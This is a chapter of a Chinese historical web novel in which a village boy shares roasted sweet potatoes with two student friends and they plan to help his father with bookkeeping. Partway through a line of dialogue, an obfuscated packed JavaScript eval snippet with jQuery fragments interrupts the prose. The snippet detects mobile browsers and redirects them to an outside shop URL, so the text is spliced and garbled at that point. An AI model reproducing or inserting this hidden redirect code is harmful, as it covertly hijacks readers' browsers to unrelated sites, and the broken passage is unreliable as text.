年关将近，乡塾放了年假。少了每日固定的课业和考核，林湛的时间一下子松快了许多，但他并未闲着。上午帮家里做些力所能及的活计，下午便雷打不动地温书、练字，偶尔拉着铁柱进山捡柴或探查些能吃的野物，补贴家用。周文渊也常来，或是一同温习功课，探讨疑难；或是沉默地坐在一旁，就着天光看林湛从孙夫子或王掌柜那里得来的旧书残页。
这日午后，阳光难得温煦，驱散了连日的阴寒。林湛正坐在自家屋檐下的石墩上，就着一块磨平的石板练字，用的是王掌柜送的纸和夫子批改文章时用剩的一点朱砂墨（极其珍惜地兑水调淡了用）。周文渊坐在一旁的小凳上，默诵《孟子》。
忽闻一阵咚咚的脚步声由远及近，伴随着赵铁柱特有的、带着点咋呼的嗓门：“湛哥儿！文渊哥！看我带啥好东西来了！”
两人抬头，只见铁柱像个小炮弹似的冲进院子，怀里鼓鼓囊囊地抱着个旧布包袱，脸上跑得红扑扑的，眼睛亮得像星星。
“铁柱哥，你慢点，别摔着。”林湛放下笔笑道。
铁柱跑到近前，献宝似的把包袱往石墩上一放，小心翼翼地打开。里面是几个还冒着丝丝热气的烤红薯，表皮焦黑，裂开的地方露出金黄油亮的瓤，散发出诱人的甜香。还有两块颜色深褐、看起来颇为厚实的粗面饼子。
“我娘今早烤的！红薯是自家窖里留的，可甜了！饼子是我爹前几日帮镇上酒坊搬缸子，人家给的赏！”铁柱拿起最大的一个红薯，不由分说塞到林湛手里，“湛哥儿，快尝尝！还热乎着呢！”又拿起一个稍小的，有些不好意思地递给周文渊，“文渊哥，你也吃。”
周文渊看着递到面前、散发着食物朴素暖香的红薯，愣了一下，耳根微红，连忙推拒：“铁柱兄弟，这……这怎么好意思，你留着吃……”
“哎呀，文渊哥你就别客气了！”铁柱急了，“我娘说了，湛哥儿和文渊哥读书费脑子，要多吃点好的！我家还有呢！快拿着，凉了就不好吃了！”
林湛知道铁柱家虽然比自家宽裕些，但也绝谈不上富裕。这烤红薯和粗面饼，在他家也是难得的好吃食。他拉住铁柱，又对周文渊道：“周师兄，铁柱哥一片心意，咱们就领了吧。正好我也饿了。”说着，先掰开自己手里的红薯，一股更浓郁的热气混着甜香扑面而来，他吹了吹，小心地咬了一口，眯起眼睛：“嗯！真甜！铁柱哥，替我谢谢婶子！”
见林湛吃了，周文渊也不再推辞，接过红薯，低声道了谢，小口小口地吃了起来。红薯烤得火候正好，外焦里糯，甜丝丝的暖意从口腔一直蔓延到胃里，驱散了冬日的寒意。
铁柱自己拿起一个红薯，也大口吃起来，一边吃一边含糊地说：“湛哥儿，你上次教我的那个‘先乘除后加减’，还有‘格子记账法’，我回去跟我爹说了！我爹试了试，说算石料工钱清楚多了！还夸我长进了呢！”他脸上满是得意。
林湛笑道：“那是铁柱哥你学得快，用得活。”
“嘿嘿，”铁柱挠挠头，“就是那些‘之乎者也’我还是头疼。还是跟湛哥儿你学算数、认几个有用的字有意思！”
周文渊安静地吃着红薯，听着两人的对话。他虽与铁柱不熟，但也知道这是林湛最好的玩伴，为人憨直义气。见铁柱对林湛如此亲近信赖，而林湛也总是耐心相待，心中对林湛的为人又添了几分好感。
吃完红薯，铁柱又掰开一块粗面饼，硬要给林湛和周文渊分。林湛推不过，和周文渊各分了小半块。这饼子虽粗粝，但扎实顶饿，带着麦子朴实的香气。
“铁柱哥，”林湛嚼着饼子，想起一事，“你爹最近活计多吗？”
“多！”铁柱点头，“快过年了，镇上、村里要修修补补的人家多，我爹都快忙不过来了！昨天还念叨，要是有人能帮他记记账、算算料就好了，省得他晚上对着油灯扒拉半天算盘珠子。”
林湛眼睛一亮，看向周文渊：“周师兄，你字写得好，账目也清楚。铁柱哥他爹那里，或许能……”
周文渊明白林湛的意思，是问他愿不愿去帮忙记账，挣点润笔钱贴补家用。他心中微动，若能有点额外收入，哪怕只是几文钱，也能给母亲减轻点负担，多买点灯油……但他生性腼腆，又觉这是林湛好友家的活计，自己贸然插手不妥，一时不知如何回答。
铁柱却一拍大腿：“对啊！文渊哥学问好，字写得肯定比我和我爹强多了！湛哥儿算账厉害，文渊哥写字清楚，你们俩要是能帮我爹，那可就太好了！我这就回去跟我爹说！” 他风风火火，说着就要起身。
“铁柱哥，别急。”林湛拉住他，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17179286|196937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“这事还得周师兄自己愿意，也得赵叔同意。这样，你先回去跟赵叔提一提，就说我和周师兄或许能帮点小忙，看他怎么说。若是赵叔觉得行，咱们再细商量，如何？”
“成！听你的！”铁柱爽快应道，又对周文渊说，“文渊哥，你放心，我爹人可好了！工钱……肯定不会亏待！”
周文渊脸更红了，忙道：“工钱不急……若能帮上忙，学以致用，也是好的。”
三人又说了会儿话，主要是铁柱讲他爹干活遇到的趣事，林湛和周文渊安静地听，偶尔插两句。阳光暖暖地照着，简陋的院子里充满了烤红薯的余香和少年人毫无机心的笑语。
铁柱带来的食物不多，但这份毫无保留的分享，却比任何山珍海味都更让林湛和周文渊感到温暖。在这个物质匮乏的时代，食物就是最宝贵的资源。铁柱家境虽稍好，也远未到可以随意挥霍的地步。他能想着他们，这份情谊，弥足珍贵。
自此，赵铁柱便成了林湛和周文渊这个小团体的固定一员。他虽不喜读书，却格外崇拜林湛的“本事”，也敬重周文渊的“学问”。他常常像今天这样，带着家里偶尔多出来的吃食——一个煮鸡蛋，一把炒豆子，几块麦芽糖——跑来与两人分享。林湛和周文渊则继续教他认字算数，讲些书里的故事和道理。
铁柱的加入，像一道活泼的溪流，注入了林湛与周文渊之间原本沉静深邃的学术交流中，带来了更多鲜活的生活气息和直率的快乐。他们三人，一个早慧务实，一个内秀敏思，一个憨厚热心，性格迥异，却奇异地互补，关系日渐紧密。
夕阳西斜，铁柱拍拍屁股上的土，起身告辞：“我回去跟我爹说记账的事！湛哥儿，文渊哥，我明天再来！” 说完，又像来时一样，风风火火地跑了。
周文渊也起身，小心地将包红薯的旧布叠好，递给林湛：“林师弟，我也该回去了。今日……多谢款待。”
“是铁柱哥款待咱们。”林湛笑道，“周师兄路上小心。赵叔那边若有消息，我让铁柱哥告诉你。”
周文渊点点头，又看了一眼石墩上吃剩的饼子屑和红薯皮，嘴角泛起一丝极淡的、温暖的笑意，这才转身离去。
林湛收拾好笔墨纸砚，将石板擦干净。院子里重归宁静，只有空气中还残留着烤红薯的甜香。